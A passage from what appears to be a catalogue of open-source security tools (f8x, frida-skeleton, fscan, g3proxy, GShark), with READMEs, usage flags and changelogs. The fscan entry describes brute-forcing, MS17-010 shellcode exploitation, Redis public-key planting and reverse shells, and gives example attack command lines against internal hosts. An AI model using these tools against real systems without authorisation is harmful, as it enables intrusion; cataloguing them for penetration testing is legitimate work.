分区\n- 使用 -update 选项更新 f8x 工具\n- 使用 -upgrade 选项更新渗透工具\n\n---\n\n## 实际效果\n\n**-h 查看帮助**\n\n<h3 align=\"center\">\n  <img src=\"https://github.com/ffffffff0x/f8x/raw/main/assets/img/1.png\"></a>\n</h3>\n\n**-all 全自动化部署**\n\n以 vultr vps 为例,结果分别如下\n\n| <br><b><p align=\"center\">CentOS 7(完全兼容)</p> | <br><b><p align=\"center\">Debian 10(完全兼容)</p> |\n| - | - |\n| <p align=\"center\"><a href=\"https://asciinema.org/a/WTGNRBd9WYLHUOgZcce9sjkeY\"><img src=\"https://asciinema.org/a/WTGNRBd9WYLHUOgZcce9sjkeY.svg\" /></p></a> | <p align=\"center\"><a href=\"https://asciinema.org/a/Mq0N07O9K2jWsDuUoukHTEVOt\"><img src=\"https://asciinema.org/a/Mq0N07O9K2jWsDuUoukHTEVOt.svg\" /></p></a> |\n| <br><b><p align=\"center\">Fedora 33</p> | <br><b><p align=\"center\">Ubuntu 20.10</p> |\n| <p align=\"center\"><a href=\"https://asciinema.org/a/NccoFLvW5Xcl0PW0HnTu32vHf\"><img src=\"https://asciinema.org/a/NccoFLvW5Xcl0PW0HnTu32vHf.svg\" /></p></a> | <p align=\"center\"><a href=\"https://asciinema.org/a/Us90ody5ffAOIrr9p93dmO8Ct\"><img src=\"https://asciinema.org/a/Us90ody5ffAOIrr9p93dmO8Ct.svg\" /></p></a> |\n\n\n<!--auto_detail_active_begin_e1c6fb434b6f0baf6912c7a1934f772b-->\n## 项目相关\n\n- 2021-11-30 发布视频[《f8x：红/蓝队环境自动化部署工具》](https://mp.weixin.qq.com/s/9MMujhu4PwmRvg0k7hPPUg)\n\n## 最近更新\n\n#### [v1.6.2] - 2022-09-04\n\n**兼容性**  \n- 支持 CentOS 9 Stream  \n- 支持 Fedora 36  \n\n**功能添加**  \n- -k 选项添加 iprange/dnsx/MoreFind  \n- 添加 -wpscan/-cs45-interactsh/等 选项  \n\n**功能修改与优化**  \n- 优化对docker环境的判断  \n- 添加了对ruby的检测  \n- 优化了对keytool工具的判断\n\n#### [v1.6.1] - 2022-06-06\n\n**兼容性**  \n- 支持 ubuntu 22.04  \n\n**功能添加**  \n- -k 选项添加 CDK- 添加 -yakit 选项- 添加 -py310 选项- 添加 -oraclejdk11 选项- 添加 -docker 选项 (安装docker)- 添加 -code 选项 (安装 code-server)  \n\n**功能修改与优化**  \n- bat 换成兼容更强的安装包- 目前 -py3(7/8/9/10) 选项调用 pyenv 进行 python3 版本的切换,无需重复安装- 目前 -oraclejdk(8/11) 选项调用 jenv 进行 java 版本的切换,无需重复安装  \n\n**错误修复**  \n- 修改一些拼写错误\n\n#### [v1.6.0] - 2022-03-11\n\n**兼容性**  \n- 支持 linux arm 架构  \n- 支持 kali 2022.1  \n\n**功能添加**  \n- -k 选项添加 netspy  \n- -f 选项添加 duf/procs/ncdu/exa/htop/bat/fd  \n\n**错误修复**  \n- 修复更改py版本时没有更改环境变量的问题\n\n#### [v1.5.9] - 2021-12-10\n\n**功能添加**  \n- k 选项添加 htpwdScan,WebCrack,ysomap,sttr  \n\n**功能修改与优化**  \n- git clone 加入 --depth 1\n\n#### [v1.5.8] - 2021-11-12\n\n**功能修改与优化**  \n- 兼容 Ubuntu 21.10 impish  \n- 兼容 AlmaLinux  \n- 兼容 Fedora 35  \n- 兼容 CentOS 8 Stream  \n- 兼容 VzLinux  \n- 兼容 Rocky  \n- python3 选项改为 -py3(7/8/9)  \n- python2 选项改为 -py2\n\n<!--auto_detail_active_end_f9cf7911015e9913b7e691a7a5878527-->\n"
  },
  {
    "path": "detail/frida-skeleton.md",
    "content": "## frida-skeleton <https://github.com/Margular/frida-skeleton>\n<!--auto_detail_badge_begin_0b490ffb61b26b45de3ea5d7dd8a582e-->\n![Language](https://img.shields.io/badge/Language-Python-blue)\n![Author](https://img.shields.io/badge/Author-Margular-orange)\n![GitHub stars](https://img.shields.io/github/stars/Margular/frida-skeleton.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V3.3-red)\n![Time](https://img.shields.io/badge/Join-20201221-green)\n<!--auto_detail_badge_end_fef74f2d7ea73fcc43ff78e05b1e7451-->\n\n\n### 简介\n\n`frida-skeleton`是基于frida的安卓hook框架，提供了很多frida自身不支持的功能，将hook安卓变成简单便捷，人人都会的事情，主要有：\n\n- 根据正则表达式批量hook安卓应用，支持多线程，可同时hook多个设备互不影响\n- 针对不同的应用可以同时加载不同的hook脚本，且支持优先级配置\n- 自动将手机上的所有TCP流量重定向到PC上的抓包工具如BurpSuite，无需手动配置，且自动绕过证书绑定机制\n- 丰富的日志记录功能，让你的hook历史永不丢失\n- 自动识别当前使用的frida版本并下载对应版本的frida-server到/data/local/tmp运行\n- 提供封装好的实用API以减少日常工作中的重复劳动\n\n### 上手指南\n\n###### 开发前的配置要求\n\n- Python3\n\n###### 安装步骤\n\n1. 克隆本项目到本地\n\n```sh\ngit clone https://github.com/Margular/frida-skeleton.git\n```\n\n2. 安装第三方依赖库\n\n```sh\npip install -r requirements.txt\n```\n\n###### 查看说明\n\n```sh\npython frida-skeleton.py -h\n```\n\n详细说明请移步[WIKI](https://github.com/Margular/frida-skeleton/wiki)\n\n### 文件目录说明\n\n```\n文件目录 \n├── CHANGELOG.md              项目改动记录\n├── LICENSE                   许可证\n├── README.md                 本文档\n├── /assets/                  下载的frida-server存放的位置\n├── frida-skeleton.py         项目入口\n├── /images/                  本项目用到的图像资源文件\n├── /lib/                     Python库文件，frida-skeleton核心实现部分\n├── /logs/                    hook日志记录文件夹\n├── /projects/                hook脚本存放的文件夹，以目录区分项目\n├── requirements.txt          三方库需求列表\n├── /scripts/                 封装好的实用API\n└── /tests/                   提供测试的安卓项目\n```\n\n### 如何参与开源项目\n\n贡献使开源社区成为一个学习、激励和创造的绝佳场所。你所作的任何贡献都是**非常感谢**的。\n\n\n1. Fork本项目\n2. 创建开发分支 (`git checkout -b dev`)\n3. 提交更改 (`git commit -m 'Add something'`)\n4. 推送到分支 (`git push origin dev`)\n5. 提[Pull Request](https://github.com/Margular/frida-skeleton/compare)\n\n### 版本控制\n\n该项目使用Git进行版本管理。您可以在repository参看当前可用版本。\n\n### 版权说明\n\n该项目签署了MIT 授权许可，详情请参阅 [LICENSE](https://github.com/Margular/frida-skeleton/blob/master/LICENSE)\n\n<!--auto_detail_active_begin_e1c6fb434b6f0baf6912c7a1934f772b-->\n## 项目相关\n\n\n## 最近更新\n\n#### [v3.3] - 2022-12-10\n\n**Add**  \n- 新增--no-root选项，有的设备不支持adb root  \n- frida-server使用随机端口绕过常规检测  \n- 在初始化FridaThread时校验设备是否root  \n\n**Changed**  \n- 使用enumerate_applications替换enumerate_processes  \n\n**Fixed**  \n- 修复有的su不支持后面跟一个-  \n- attrdict本地模块化以兼容3.10及以上版本\n\n#### [v3.2.3] - 2021-06-24\n\n**Add**  \n- 保存hook脚本的整个内容方便调试和查看  \n\n**Changed**  \n- 在调用Trace.javaClassByRegex的时候默认跳过hook系统函数  \n\n**Fixed**  \n- 修复可能无法退出程序的BUG\n\n#### [v3.2.0] - 2020-12-24\n\n**Add**  \n- 新增Jav.describeObject API，很方便地打印java对象的函数和字段信息  \n- 加入星链计划2.0  \n- 添加logo  \n\n**Changed**  \n- 迁移wiki到github  \n- 主程序帮助界面改为中文\n\n<!--auto_detail_active_end_f9cf7911015e9913b7e691a7a5878527-->\n"
  },
  {
    "path": "detail/fscan.md",
    "content": "## fscan <https://github.com/shadow1ng/fscan>\n<!--auto_detail_badge_begin_0b490ffb61b26b45de3ea5d7dd8a582e-->\n![Language](https://img.shields.io/badge/Language-Golang-blue)\n![Author](https://img.shields.io/badge/Author-shadow1ng-orange)\n![GitHub stars](https://img.shields.io/github/stars/shadow1ng/fscan.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V2.0.1-red)\n![Time](https://img.shields.io/badge/Join-20210422-green)\n<!--auto_detail_badge_end_fef74f2d7ea73fcc43ff78e05b1e7451-->\n\n# 0x00 新增功能\n\n1、UI/UX 优化\n\n2、增加修改-f -o参数，-f支持txt/csv/json，输出格式优化\n\n3、增加端口指纹识别功能。\n\n4、增加本地信息搜集模块，增加本地域控探测模块，增加本地Minidump模块\n\n5、增加Telnet、VNC、Elasticsearch、RabbitMQ、Kafka、ActiveMQ、LDAP、SMTP、IMAP、POP3、SNMP、Zabbix、Modbus、Rsync、Cassandra、Neo4j扫描。\n\n6、架构重构，以反射+插件模块构建\n\n7、增加-log参数，支持INFO，SUCCESS、ERROR、DEBUG参数，用于调试具体信息。\n\n8、优化线程，现在会以更好的多线程运行\n\n\n\n**新版由于对旧版代码进行了全面的重构，难免会有Bug，请在遇到Bug时提交Issue，会尽快修复处理，感谢。**\n\n**欢迎提交新的插件模块，目前插件为快速热插拔形式，适用于简易开发。**\n\n# 0x01 简介\n\n一款功能丰富的内网综合扫描工具，提供一键自动化、全方位的漏洞扫描能力。\n\n## 主要功能\n\n- 主机存活探测：快速识别内网中的活跃主机\n- 端口扫描：全面检测目标主机开放端口\n- 服务爆破：支持对常见服务进行密码爆破测试\n- 漏洞利用：集成MS17-010等高危漏洞检测\n- Redis利用：支持批量写入公钥进行权限获取\n- 系统信息收集：可读取Windows网卡信息\n- Web应用检测：\n  - Web指纹识别\n  - Web漏洞扫描\n- 域环境探测：\n  - NetBIOS信息获取\n  - 域控制器识别\n- 后渗透功能：支持通过计划任务实现反弹shell\n\n# 0x02 主要功能\n## 1. 信息搜集\n- 基于ICMP的主机存活探测：快速识别网络中的活跃主机设备\n- 全面的端口扫描：系统地检测目标主机的开放端口情况\n\n## 2. 爆破功能\n- 常用服务密码爆破：支持SSH、SMB、RDP等多种协议的身份认证测试\n- 数据库密码爆破：覆盖MySQL、MSSQL、Redis、PostgreSQL、Oracle等主流数据库系统\n\n## 3. 系统信息与漏洞扫描\n- 网络信息收集：包括NetBIOS探测和域控制器识别\n- 系统信息获取：能够读取目标系统网卡配置信息\n- 安全漏洞检测：支持MS17-010等高危漏洞的识别与检测\n\n## 4. Web应用探测\n- 网站信息收集：自动获取网站标题信息\n- Web指纹识别：可识别常见CMS系统与OA框架\n- 漏洞扫描能力：集成WebLogic、Struts2等漏洞检测，兼容XRay POC\n\n## 5. 漏洞利用模块\n- Redis利用：支持写入公钥或植入计划任务\n- SSH远程执行：提供SSH命令执行功能\n- MS17-010利用：支持ShellCode注入，可实现添加用户等操作\n\n## 6. 辅助功能\n- 扫描结果存储：将所有检测结果保存至文件，便于后续分析\n\n# 0x03 使用说明\n\n## 基础扫描配置\n\n**以下参数由于重构原因并不能保证每一个参数都可以正常运行，出现问题请及时提交Issue。**\n\n**目标配置**\n\n```\n-h      指定目标(支持格式:192.168.1.1/24, 192.168.1.1-255, 192.168.1.1,192.168.1.2)\n-eh     排除特定目标\n-hf     从文件导入目标\n```\n\n**端口配置**\n```\n-p      指定端口范围(默认常用端口)，如: -p 22,80,3306 或 -p 1-65535\n-portf  从文件导入端口列表\n```\n\n## 认证配置\n\n**用户名密码**\n```\n-user   指定用户名\n-pwd    指定密码\n-userf  用户名字典文件\n-pwdf   密码字典文件\n-usera  添加额外用户名\n-pwda   添加额外密码\n-domain 指定域名\n```\n\n**SSH相关**\n```\n-sshkey SSH私钥路径\n-c      SSH连接后执行的命令\n```\n\n## 扫描控制\n\n**扫描模式**\n```\n-m      指定扫描模式(默认为All)\n-t      线程数(默认60)\n-time   超时时间(默认3秒)\n-top    存活检测结果展示数量(默认10)\n-np     跳过存活检测\n-ping   使用ping代替ICMP\n-skip   跳过指纹识别\n```\n\n## Web扫描配置\n\n```\n-u      指定单个URL扫描\n-uf     从文件导入URL列表\n-cookie 设置Cookie\n-wt     Web请求超时时间(默认5秒)\n```\n\n## 代理设置\n\n```\n-proxy  HTTP代理(如: http://127.0.0.1:8080)\n-socks5 SOCKS5代理(如: 127.0.0.1:1080)\n```\n\n## POC扫描配置\n\n```\n-pocpath POC文件路径\n-pocname 指定POC名称\n-full    启用完整POC扫描\n-dns     启用DNS日志\n-num     POC并发数(默认20)\n```\n\n## Redis利用配置\n\n```\n-rf      Redis文件名\n-rs      Redis Shell配置\n-noredis 禁用Redis检测\n```\n\n## 输出控制\n\n```\n-o       输出文件路径(默认关闭)\n-f       输出格式(默认txt)\n-no      禁用结果保存\n-silent  静默模式\n-nocolor 禁用彩色输出\n-json    JSON格式输出\n-log     日志级别设置\n-pg      显示扫描进度条\n```\n\n## 其他配置\n\n```\n-local   本地模式\n-nobr    禁用暴力破解\n-retry   最大重试次数(默认3次)\n-path    远程路径配置\n-hash    哈希值\n-hashf   哈希文件\n-sc      Shellcode配置\n-wmi     启用WMI\n-lang    语言设置(默认zh)\n```\n\n**以上参数由于重构原因并不能保证每一个参数都可以正常运行，出现问题请及时提交Issue。**\n\n## 编译说明\n\n```bash\n# 基础编译\ngo build -ldflags=\"-s -w\" -trimpath main.go\n\n# UPX压缩（可选）\nupx -9 fscan\n```\n\n## 系统安装\n```bash\n# Arch Linux\nyay -S fscan-git\n# 或\nparu -S fscan-git\n```\n\n# 0x04 运行截图\n\n`fscan.exe -h 192.168.x.x  (全功能、ms17010、读取网卡信息)`\n![](https://github.com/shadow1ng/fscan/raw/main/image/1.png)\n\n![](https://github.com/shadow1ng/fscan/raw/main/image/4.png)\n\n`fscan.exe -h 192.168.x.x -rf id_rsa.pub (redis 写公钥)`\n![](https://github.com/shadow1ng/fscan/raw/main/image/2.png)\n\n`fscan.exe -h 192.168.x.x -c \"whoami;id\" (ssh 命令)`\n![](https://github.com/shadow1ng/fscan/raw/main/image/3.png)\n\n`fscan.exe -h 192.168.x.x -p80 -proxy http://127.0.0.1:8080 一键支持xray的poc`\n![](https://github.com/shadow1ng/fscan/raw/main/image/2020-12-12-13-34-44.png)\n\n`fscan.exe -h 192.168.x.x -p 139 (netbios探测、域控识别,下图的[+]DC代表域控)`\n![](https://github.com/shadow1ng/fscan/raw/main/image/netbios.png)\n\n`go run .\\main.go -h 192.168.x.x/24 -m netbios(-m netbios时,才会显示完整的netbios信息)`\n![](https://github.com/shadow1ng/fscan/raw/main/image/netbios1.png)\n\n`go run .\\main.go -h 192.0.0.0/8 -m icmp(探测每个C段的网关和数个随机IP,并统计top 10 B、C段存活数量)`\n![img.png](https://github.com/shadow1ng/fscan/raw/main/image/live.png)\n\n新的展示\n\n![2.0-1](https://github.com/shadow1ng/fscan/raw/main/image/2.0-1.png)\n\n![2.0-2](https://github.com/shadow1ng/fscan/raw/main/image/2.0-2.png)\n\n<!--auto_detail_active_begin_e1c6fb434b6f0baf6912c7a1934f772b-->\n## 项目相关\n\n- 2022-12-09 发布演示视频[404星链计划开源安全工具演示——fscan](https://www.bilibili.com/video/BV1Cv4y1R72M/)\n\n## 最近更新\n\n#### [v2.0.1] - 2025-07-22\n\n**新增**  \n- 增加远程参数解析功能并重构扫描逻辑  \n- 增强 gRPC 和 HTTP 网关服务  \n- 实现扫描任务的并发控制，优化参数解析和输出初始化逻辑  \n- 添加API地址和加密密钥配置，重构API服务启动逻辑  \n- 添加扫描结果响应中的总结果数和结束结果数字段，并优化错误日志记录  \n- 添加误删文件  \n- 新增rpc服务  \n**修复**  \n- 修复 API 密钥逻辑，确保正确设置和使用 Fscan-API-SECRET 头  \n- 修复扫描逻辑  \n- 参数修正  \n- 暂时去除mips相关  \n- 修复rebase时产生错误  \n- 修复rebase时造成的参数丢失\n\n#### [v2.0.0] - 2024-12-19\n\n**更新**  \n- 全面代码重构，项目结构重构，插件逻辑优化，项目文档添加，规范化输出、新增本地敏感信息搜集插件等\n\n#### [v1.8.4] - 2024-05-11\n\n**更新**  \n* 优化报错处理，避免部分扫描模块报错后导致的程序退出  \n* linux(amd64)默认使用fscan  \n* windows(x64)默认使用fscan.exe\n\n#### [v1.8.2] - 2022-11-19\n\n**更新**  \n- 新增 hash 碰撞  \n- 新增 wmiiexec 无回显命令执行\n\n#### [v1.8.1] - 2022-07-06\n\n**更新**  \n- 加入手工gc回收,尝试节省无用内存  \n- -url 支持逗号隔开  \n- 修复一个poc模块bug\n\n<!--auto_detail_active_end_f9cf7911015e9913b7e691a7a5878527-->\n"
  },
  {
    "path": "detail/g3proxy.md",
    "content": "## g3proxy <https://github.com/bytedance/g3>\n<!--auto_detail_badge_begin_0b490ffb61b26b45de3ea5d7dd8a582e-->\n![Language](https://img.shields.io/badge/Language-Rust-blue)\n![Author](https://img.shields.io/badge/Author-bytedance-orange)\n![GitHub stars](https://img.shields.io/github/stars/bytedance/g3.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.12.3-red)\n![Time](https://img.shields.io/badge/Join-20250401-green)\n<!--auto_detail_badge_end_fef74f2d7ea73fcc43ff78e05b1e7451-->\n\n# G3 Project\n\n[![minimum rustc: 1.86](https://img.shields.io/badge/minimum%20rustc-1.86-green?logo=rust)](https://www.whatrustisit.com)\n[![License: Apache 2.0](https://img.shields.io/badge/license-Apache_2.0-blue.svg)](LICENSE)\n[![codecov](https://codecov.io/gh/bytedance/g3/graph/badge.svg?token=TSQCA4ALQM)](https://codecov.io/gh/bytedance/g3)\n[![docs](https://readthedocs.org/projects/g3-project/badge)](https://g3-project.readthedocs.io/)\n\n## 关于\n\n本项目用于构建面向企业的通用代理解决方案，包括但不限于代理、反向代理（开发中）、负载均衡（待定）、NAT穿透（待定）等。\n\n## 应用程序\n\nG3项目包含许多应用，每一个应用程序单独一个子目录，包含各自的代码、文档等。\n\n除了应用程序目录，还有一些公共目录：\n\n- [doc](https://github.com/bytedance/g3/blob/master/doc) 包含项目级别文档。\n- [sphinx](https://github.com/bytedance/g3/blob/master/sphinx) 用于为各应用生成HTML参考文档。\n- [scripts](https://github.com/bytedance/g3/blob/master/scripts) 包含各种辅助脚本，包括覆盖率测试、打包脚本等。\n\n### g3proxy\n\n通用正向代理解决方案，同时带有TCP映射、TLS卸载/封装、透明代理、简单反向代理等功能。\n\n#### 主要特性\n\n- Async Rust: 高效、稳定\n- Http1 / Socks5 正向代理协议, SNI Proxy and TCP TPROXY\n- 代理串联，动态下一级代理节点选择\n- 丰富的出口路由选择方法，支持接入自定义选路Agent\n- TCP/TLS反向代理，基础HTTP反向代理\n- TLS支持OpenSSL / BoringSSL / AWS-LC / Tongsuo, 部分场景支持rustls\n- TLS中间人劫持, 解密流量导出, HTTP1/HTTP2/IMAP/SMTP协议解析\n- ICAP审计，支持HTTP1/HTTP2/IMAP/SMTP，无缝集成第三方安全审计/杀毒产品\n- 优雅重载 & 热升级\n- 灵活的负载均衡&容灾策略\n- 用户认证，且支持丰富的配置选项\n- 用户配置下可细化进行差异化站点配置\n- 丰富的ACL/限流限速策略，包括入口/出口/用户维度\n- 丰富的监控指标，包括入口/出口/用户/用户站点维度\n- 多种日志 & 监控解决方案集成能力\n\n详细功能介绍及用户指南请看 [g3proxy](https://github.com/bytedance/g3/blob/master/g3proxy/README.md)。\n\n可在 [Read the Docs](https://g3-project.readthedocs.io/projects/g3proxy/en/latest/) 线上查看使用sphinx生成的g3proxy参考文档，\n包括详细配置格式、日志格式、监控打点定义、协议定义等。\n\n### g3tiles\n\n通用反向代理解决方案，开发中。\n\n可在 [Read the Docs](https://g3-project.readthedocs.io/projects/g3tiles/en/latest/) 线上查看使用sphinx生成的g3tiles参考文档，\n包括详细配置格式、日志格式、监控打点定义等。\n\n### g3bench\n\n压测工具，支持 HTTP/1.x、HTTP/2、HTTP/3、TLS握手、DNS、Cloudflare Keyless 。\n\n更多详情参考 [g3bench](https://github.com/bytedance/g3/blob/master/g3bench/README.md)。\n\n### g3mkcert\n\n用来生成 根CA / 中间CA / TLS服务端证书 / TLS客户端证书 的工具。\n\n### g3fcgen\n\n适用于g3proxy TLS劫持功能的伪造证书生成服务应用。\n\n### g3iploc\n\n适用于g3proxy GeoIP功能的IP Location查找服务应用。\n\n### g3keymess\n\nCloudflare Keyless Server的简单实现。\n\n## 支持平台\n\n目前仅提供对Linux系统的完整支持，其他系统如FreeBSD、NetBSD、macOS、Windows可以编译，但是未测试过功能。\n\n如果需要支持其他系统，欢迎提交PR。\n\n## 开发环境搭建\n\n参考 [Dev-Setup](https://github.com/bytedance/g3/blob/master/doc/dev-setup.md)。\n\n## 标准及约定\n\n参考 [Standards](https://github.com/bytedance/g3/blob/master/doc/standards.md)。\n\n## 发布及打包\n\n每个应用程序的每个发布版本都会有对应的tag，格式为 *\\<name\\>-v\\<version\\>* 。\n使用对应的tag生成源码tar包，该tar包可以用于生成deb、rpm等发行版原生包文件。\n\n如果需要对正式发布的版本打包:\n\n1. 生成版本发布包\n\n   ```shell\n   ./scripts/release/build_tarball.sh <name>-v<version>\n   ```\n\n   所有引用第三方源码都会放在tar包的vendor目录下，打包时只需要在目标机器上安装好编译器及系统依赖库即可，无需额外的网络连接。\n\n2. 打包指令\n\n   deb包:\n   ```shell\n   tar xf <name>-<version>.tar.xz\n   cd <name>-<version>\n   ./build_deb_from_tar.sh\n   ```\n\n   rpm包:\n   ```shell\n   rpmbuild -ta ./<name>-<version>.tar.xz\n   # 如果失败，可以手动执行以下指令：\n   tar xvf <name>-<version>.tar.xz ./<name>-<version>/<name>.spec\n   cp <name>-<version>.tar.xz ~/rpmbuild/SOURCES/\n   rpmbuild -ba ./<name>-<version>/<name>.spec\n   ```\n\n如果需要直接从git打包:\n\n- deb包:\n\n  ```shell\n  ./build_deb_from_git.sh <name>\n  ```\n\n- rpm包:\n\n  ```shell\n  ./build_rpm_from_git.sh <name>\n  ```\n\n### 预构建安装包\n\n如需在生产环境使用，建议自行打包。\n\n测试环境的话，部分包已经编译上传到\n[cloudsmith](https://cloudsmith.io/~g3-oqh/repos/), 可参考该链接页面的说明进行安装。\n\n### 制作Docker镜像\n\n每个应用的*docker*文件夹下有可参考的Dockerfile(s)，命令如下：\n\n```shell\n# 在源码根目录可执行\ndocker build -f <app>/docker/debian.Dockerfile . -t <app>:<tag>\n# 本地没有源码时，可用远程URL执行\ndocker build -f <app>/docker/debian.Dockerfile github.com/bytedance/g3 -t <app>:<tag>\n# 如果已经制作了源码tar包，也可以把URL路径换成源码tar包路径\n```\n\n### 静态链接\n\n参考 [Static Linking](https://github.com/bytedance/g3/blob/master/doc/static-linking.md)。\n\n### 使用OpenSSL变种编译\n\n参考 [OpenSSL Variants](https://github.com/bytedance/g3/blob/master/doc/openssl-variants.md)。\n\n### 长期支持版本\n\n参考 [Long-Term Support](https://github.com/bytedance/g3/blob/master/doc/long-term_support.md).\n\n## 贡献指南\n\n参考 [Contributing](https://github.com/bytedance/g3/blob/master/CONTRIBUTING.md)。\n\n\n\n<!--auto_detail_active_begin_e1c6fb434b6f0baf6912c7a1934f772b-->\n## 项目相关\n\n\n## 最近更新\n\n#### [v1.12.3] - 2026-03-10\n\nThis is a minor for v1.12 LTS branch:\n- fix default ingress network filter rules \n- many bug fixed with dependency updates \n\n\n#### [v1.12.2] - 2025-08-20\n\nThis is a minor for v1.12 LTS branch:\nsupport to build rpm package on OpenSUSE\nPrebuilt rpm and deb packages can be found at cloudsmith.\n\n#### [v1.10.7] - 2025-07-22\n\n**修复**  \n- 修复检测 DNS over TLS 流量时的崩溃  \n- 修复 c-ares 解析器中的默认最小 ttl 值\n\n#### [v1.10.6] - 2025-06-26\n\n**修复**  \n- 修复 H2 零大小主体帧的读取  \n- 修复 HTTP 1 OPTIONS 头行格式  \n- 修复发送给客户端的 h2 最大并发流设置  \n- 修复 h2 连接级别 IDLE 检查  \n- 使用更合理的 h2 默认设置值\n\n<!--auto_detail_active_end_f9cf7911015e9913b7e691a7a5878527-->\n"
  },
  {
    "path": "detail/gshark.md",
    "content": "## GShark <https://github.com/madneal/gshark>\n<!--auto_detail_badge_begin_0b490ffb61b26b45de3ea5d7dd8a582e-->\n![Language](https://img.shields.io/badge/Language-Golang-blue)\n![Author](https://img.shields.io/badge/Author-madneal-orange)\n![GitHub stars](https://img.shields.io/github/stars/madneal/gshark.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.6.5-red)\n![Time](https://img.shields.io/badge/Join-20201221-green)\n<!--auto_detail_badge_end_fef74f2d7ea73fcc43ff78e05b1e7451-->\n\n\nThe project is based on Go and Vue to build a management system for sensitive information detection. For the full introduction, please refer to [articles](https://mp.weixin.qq.com/mp/appmsgalbum?__biz=MzI3MjA3MTY3Mw==&action=getalbum&album_id=2376148333116850178#wechat_redirect) and [videos](https://mp.weixin.qq.com/mp/appmsgalbum?__biz=MzI3MjA3MTY3Mw==&action=getalbum&album_id=1834365721464651778#wechat_redirect). For now, all the scans are only targeted to the public environments, not local environments.\n\nFor the usage of GShark, please refer to the [wiki](https://github.com/madneal/gshark/wiki).\n\n# Features\n\n* Support multiple platforms, such as GitLab, GitHub, Searchcode, and Postman\n* Flexible menu and API permission settings\n* Flexible rules and filtering rules\n* Utilize gobuster for subdomain brute force\n* Easy-to-use management system\n* Support for Docker deployment\n\n# Quick start\n\n## Docker\n\n```\ngit clone https://github.com/madneal/gshark\ncd gshark\ndocker-compose build && docker-compose up \n```\n\n## Manual Deployment\n\n### Requirements\n\n* Nginx\n* MySQL(version above **8.0**)\n\nIt is recommended to deploy the Front-End project using nginx. Place the `dist` folder in `/var/www/html`, and adjust the `nginx.conf` file (/etc/nginx/nginx.conf for Linux) to set up reverse proxy for the backend service. For detailed deployment tutorials, you can watch videos on [bilibili](https://www.bilibili.com/video/BV1Py4y1s7ap/) or [youtube](https://youtu.be/bFrKm5t4M54). For deployment on Windows, refer to [this link](https://www.bilibili.com/video/BV1CA411L7ux/).\n\n### Nginx\n\nCan use `nginx -t` to locate the `nginx.conf` file, then modify the `nginx.conf`:\n\n```\n// config the user accoring to your need\nuser  www www;\nworker_processes  1;\n\nevents {\n    worker_connections  1024;\n}\n\nhttp {\n    include       mime.types;\n    default_type  application/octet-stream;\n    sendfile        on;\n    keepalive_timeout  65;\n    server {\n        listen       8080;\n        server_name  localhost;\n\n        location / {\n            autoindex on;\n            root   html;\n            index  index.html index.htm;\n        }\n        location /api/ {\n            proxy_set_header Host $http_host;\n            proxy_set_header X-Real-IP $remote_addr;\n            proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;\n            proxy_set_header X-Forwarded-Proto $scheme;\n            rewrite ^/api/(.*)$ /$1 break;\n            proxy_pass http://127.0.0.1:8888;\n        }\n        error_page   500 502 503 504  /50x.html;\n        location = /50x.html {\n            root   html;\n        }\n    }\n    include servers/*;\n}\n\n```\n\nThe deployment work is straightforward. Find the corresponding version zip file from [releases](https://github.com/madneal/gshark/releases). \n\nUnzip and copy the files inside `dist` to `/var/www/html` folder of Nginx. \n\n```\nunzip gshark*.zip\ncd gshark*\nmv dist /var/www/html/\n# for Mac\nmv dist /usr/local/www/html/\n```\n\nStart the Nginx and the Front-End is deployed successfully.\n\n> [!TIP]\n> If you installed Nginx by Homebrew, you need to stop Nginx by:\n> ```shell\n> brew services stop nginx\n> ```\n\n### Server service\n\nFor the first time, you need to rename `config-temp.yaml` to `config.yaml`. Then you can run the binary file `gshark` directly. Then access to `localhost:8080` for local deployment.\n\nIf you have not initial the database in the before, you will be redirec to the database initial page at first.\n\n<img width=\"936\" alt=\"image\" src=\"https://github.com/user-attachments/assets/dfa7e53e-dc4a-4697-831f-a4f4f3810c3c\">\n\n\nFor the scan service, it's necessary to config the corresponding rules. For example, Github or Gitlab rules.\n\n### Incremental Deployment\n\nFor the incremental deployment, [sql.md](https://github.com/madneal/gshark/blob/master/sql.md) should be executed for the corresponding database operations.\n\n## Development\n\n### Server\n\n``` \ngit clone https://github.com/madneal/gshark.git\n\ncd server\n\ngo mod tidy\n\nmv config-temp.yaml config.yaml\n\ngo build\n\n./gshark\n\nor\n\ngo run main.go\n```\n\n\n\n### Web \n\n```\ncd ../web\n\nnpm install\n\nnpm run serve\n```\n\n## Usage\n### Add Token\n\n#### GitHub\n\nTo execute the scan task for GitHub, you need to add a GitHub token for crawl information in GitHub. You can generate a token in [tokens](https://github.com/settings/tokens). Most access scopes are enough. For the GitLab search, remember to add a token too.\n\n[![iR2TMt.md.png](https://s1.ax1x.com/2018/10/31/iR2TMt.md.png)](https://imgchr.com/i/iR2TMt)\n\n#### Postman\n\nObtain the `postman.sid` cookie:\n\n<img width=\"653\" alt=\"image\" src=\"https://github.com/madneal/gshark/assets/12164075/7775c8bb-79da-4e2b-b341-3c5b8395a6d0\">\n\n\n### Rule Configuration\n\nFor the Github or Gitlab rule, the rule will be matched by the syntax in the corresponding platforms. Directly, you config what you search at GitHub. You can download the rule import template CSV file, then batch import rules.\n\n<img width=\"572\" alt=\"image\" src=\"https://user-images.githubusercontent.com/12164075/212504597-3e1ad5bd-bacf-433e-83e8-08de7eee6509.png\">\n\n\n### Filter Configuration\n\nFilter is only addressed to GitHub search now. There are three classes of filters, including `extension`, `keyword`, `sec_keyword`. For `extension` and `keyword`, they can used for blacklist or whitelist.\n\nFor more information, you can refer to this [video](https://www.bilibili.com/video/BV1aG4y1c72N/?vd_source=ef4657ebf0549af8755f75118b6e81bb).\n\n## Configuration\n\nYou are supposed to rename `config-temp.yaml` to `config.yaml` and config the database information and other information according to your environment.\n\n### GitLab Base Url\n\n<img width=\"363\" alt=\"image\" src=\"https://user-images.githubusercontent.com/12164075/203898719-1ce66395-083d-4226-937f-b6eed859addc.png\">\n\n<!--auto_detail_active_begin_e1c6fb434b6f0baf6912c7a1934f772b-->\n## 项目相关\n\n- 2021-11-12 发布文章[《GShark:多平台的敏感信息监测工具》](https://mp.weixin.qq.com/s/MG1lxiFg4a8KkAdhSMOu3Q)\n\n## 最近更新\n\n#### [v1.6.5] - 2025-10-30\n\n**修复** - MacOS arm 芯片 release 包\n - 升级组件\n - 